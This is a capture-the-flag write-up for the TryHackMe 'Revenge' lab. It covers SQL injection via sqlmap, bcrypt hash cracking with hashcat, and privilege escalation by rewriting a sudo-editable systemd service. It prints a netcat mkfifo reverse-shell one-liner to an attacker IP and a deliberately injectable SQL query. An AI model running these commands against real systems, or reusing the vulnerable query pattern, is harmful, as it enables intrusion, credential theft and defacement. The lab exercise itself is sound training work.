TryHackMe Revenge Writeup
This writeup will help you solve the Revenge box on TryHackMe.com. The box is a sequel to the Blog box also available on the TryHackMe.
TryHackMe Revenge – Enumeration
Normally our goal would be to gain root access and get the root flag, but this box is a little different. We find a txt
file which tells us that we have to deface the site this time. To do so, we still need access to the machine. As usual, we start by scanning for open ports on the box. Add the box to your hostfile by runninng:
echo "<box_ip> revenge.thm >> /etc/hosts"
Or add the IP + domain manually to the /etc/hosts
file. Now run the port scan by using nmap
nmap -sV -sC revenge.thm
The sC
flag is used to run some default vulnerability scripts and the sV
flag is used to determine the version of the services. The output is shown below:
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBiHOfDlVoYCp0+/LM7BhujeUicHQ+HwAidwcp1yMZE3j6K/7RW3XsNSEyUR8RpVaXAHl7ThNfD2pmzGPBV9uOjNlgNuzhASOgQuz9G4hQyLh5u1Sv9QR8R9udClyRoqUwGBfdNKjqAK2Kw7OghAHXlwUxniYRLUeAD60oLjm4uIv+1QlA2t5/LL6utV2ePWOEHe8WehXPGrstJtJ8Jf/uM48s0jhLhMEewzSqR2w0LWAGDFzOdfnOvcyQtJ9FeswJRG7fWXXsOms0Fp4lhTL4fknL+PSdWEPagTjRfUIRxskkFsaxI//3EulETC+gSa+KilVRfiKAGTdrdz7RL5sl | 256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNNoSioP7IDDu4yIVfGnhLoMTyvBuzxILnRr7rKGX0YpNShJfHLjEQRIdUoYq+/7P0wBjLoXn9g7XpLLb7UMvm4= | 256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEpROzuQcffRwKXCOz+JQ5p7QKnAQVEDUwwUkkblavyh 80/tcp open http syn-ack nginx 1.14.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A | http-methods: |_ Supported Methods: HEAD OPTIONS GET |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Home | Rubber Ducky Inc. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 22 and 80 are open, which shows us that a web server and a SSH server is running. We are not able to exploit the SSH server yet, so let’s start by enumerating the Apache web server.
TryHackMe Revenge – Apache Web Server
The homepage shows us a seller of rubber ducks! The contents of the homepage can be seen below:

Some default pages are available for us to visit, but nothing stands out of the ordinary. Let’s try to run gobuster
in order to find more directories or files on the web server. Run:
gobuster dir -u http://revenge.thm/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x 'txt'
Note that we are using the following list. Please make sure you use this list as well. The output is shown below:
/index (Status: 200) /contact (Status: 200) /products (Status: 200) /login (Status: 200) /admin (Status: 200) /static (Status: 301) /requirements.txt (Status: 200)
The most interesting file here is the requirements.txt
file. This file indicates that we are running a Python application. Access the file by visiting it in your browser. You will find the following output:
attrs==19.3.0 bcrypt==3.1.7 cffi==1.14.1 click==7.1.2 Flask==1.1.2 Flask-Bcrypt==0.7.1 Flask-SQLAlchemy==2.4.4 itsdangerous==1.1.0 Jinja2==2.11.2 MarkupSafe==1.1.1 pycparser==2.20 PyMySQL==0.10.0 six==1.15.0 SQLAlchemy==1.3.18 Werkzeug==1.0.1
Our initial thoughts were correct! This is a Python Flask application. We can extend our gobuster
command by searching for Python files as well:
gobuster dir -u http://revenge.thm/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x 'txt,py'
The output is shown below:
/index (Status: 200) /contact (Status: 200) /products (Status: 200) /login (Status: 200) /admin (Status: 200) /static (Status: 301) /app.py (Status: 200) /requirements.txt (Status: 200)
Interesting! The app.py
file is available. Let’s get the contents of this file by accessing it in the browser:
from flask import Flask, render_template, request, flash from flask_sqlalchemy import SQLAlchemy from sqlalchemy import create_engine from flask_bcrypt import Bcrypt app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) bcrypt = Bcrypt(app) app.secret_key = b'_5#y2L"F4Q8z\n\xec]/' eng = create_engine('mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc') # Main Index Route @app.route('/', methods=['GET']) @app.route('/index', methods=['GET']) def index(): return render_template('index.html', title='Home') # Contact Route @app.route('/contact', methods=['GET', 'POST']) def contact(): if request.method == 'POST': flash('Thank you for reaching out. Someone will be in touch shortly.') return render_template('contact.html', title='Contact') elif request.method == 'GET': return render_template('contact.html', title='Contact') # Products Route @app.route('/products', methods=['GET']) def products(): return render_template('products.html', title='Our Products') # Product Route # SQL Query performed here @app.route('/products/', methods=['GET']) def product(product_id): with eng.connect() as con: # Executes the SQL Query # This should be the vulnerable portion of the application rs = con.execute(f"SELECT * FROM product WHERE id={product_id}") product_selected = rs.fetchone() # Returns the entire row in a list return render_template('product.html', title=product_selected[1], result=product_selected) # Login @app.route('/login', methods=['GET']) def login(): if request.method == 'GET': return render_template('login.html', title='Customer Login') # Admin login @app.route('/admin', methods=['GET']) def admin(): if request.method == 'GET': return render_template('admin.html', title='Admin Login') # Page Not found error handler @app.errorhandler(404) def page_not_found(e): return render_template('404.html', error=e), 404 @app.errorhandler(500) def internal_server_error(e): return render_template('500.html', error=e), 500 if __name__ == "__main__": app.run('0.0.0.0')
TryHackMe Revenge – SQL injection
Nice, the code is available! There is even a comment included which indicates that this web application is vulnerable for SQL injections. The vulnerable link is:/products/<product_id>
. We will use sqlmap in order to perform a SQL injection on the web server. Run the following command:
sqlmap -u http://revenge.thm/products/1 --dbs
We are in luck. After a moment we obtain all the databases. The databases are shown below:
available databases [5]: [*] duckyinc [*] information_schema [*] mysql [*] performance_schema [*] sys
This confirms that the server is vulnerable for SQL injection attacks. We can now continue to acquire valuable information out of the database. the next step is to get the tables of the duckyinc
database. Run the following command to get them:
sqlmap -u http://revenge.thm/products/1 -D duckyinc --tables
This results in the following tables:
+-------------+ | system_user | | user | | product | +-------------+
The most interesting table is system_user
. Dump the contents of this table by running the following sqlmap command:
sqlmap -u http://revenge.thm/products/1 -D duckyinc -T system_user --dump
The output is shown below:
+------+----------------------+--------------+--------------------------------------------------------------+ | id | email | username | _password | +------+----------------------+--------------+--------------------------------------------------------------+ | 1 | [email protected] | server-admin | $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a | | 2 | [email protected] | kmotley | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa | | 3 | [email protected] | dhughes | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK | +------+----------------------+--------------+--------------------------------------------------------------+
The first flag is located in the database as well. You can dump the user
table to find the first flag.
TryHackMe Revenge – User Flag
We got several system users combined with some bcrypt hashes. We now use hashcat in order to crack the hash.
Save the first hash in a text file named hash.txt. Now execute the following commmand:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Note: By providing -m 3200
, we tell hashcat that the hash is a bcrypt hash.
Wait a moment. We are in luck! We found a valid password. Now use this password to log in to the SSH server.
ssh [email protected] server-admin@duckyinc:~$
And we are in! The second flag (the user flag) is located in the current directory.
TryHackMe Revenge – Root Flag
By running sudo -l
we can find some commands which we are allowed to execute:
Matching Defaults entries for server-admin on duckyinc: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User server-admin may run the following commands on duckyinc: (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service
It seems like we have full control over the duckyinc.service
. By running:
sudoedit: /etc/systemd/system/duckyinc.service
We are able to completely edit the service. After running sudoedit
you can edit the service. Change the content of the service to the following:
[Unit] Description=Reverse Shell [Service] User=root Group=root ExecStart=/bin/bash /tmp/shell.sh ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s TERM $MAINPID
Create the shell by creating /tmp/shell.sh
. and put in the following contents:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 9001 >/tmp/f
Then start a netcat listener on your attacking machine by running:
nc -lvnp 9001
Then on the box: run the following commands:
sudo /bin/systemctl daemon-reload sudo /bin/systemctl enable duckyinc.service sudo /bin/systemctl start duckyinc.service
And we got a root shell! To improve the shell stability, please use the following commands:
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm-256color (ctrl+z) stty raw -echo;fg (enter) (enter)
You are now root! Normally the flag would be located at the /root/root.txt
location. However, the story of this box is not yet complete. We still have to deface the site! Change user to www-data (since this is the user which owns the web server). Do this by running:
su -s /bin/bash www-data -l cd duckyinc/templates
You can edit one of these files! Be creative and change whatever you want on this site. Save and view your changes. Exit from the www-data user and check the contents of the /root
folder. Now the flag3.txt
file exists. This file contains the final flag!
This was a fun box to complete! It contained a simple SQL injection on a GET request. One should be careful to not include vulnerable code inside their code! Furthermore, I learned to create my own linux service in order to elevate privileges.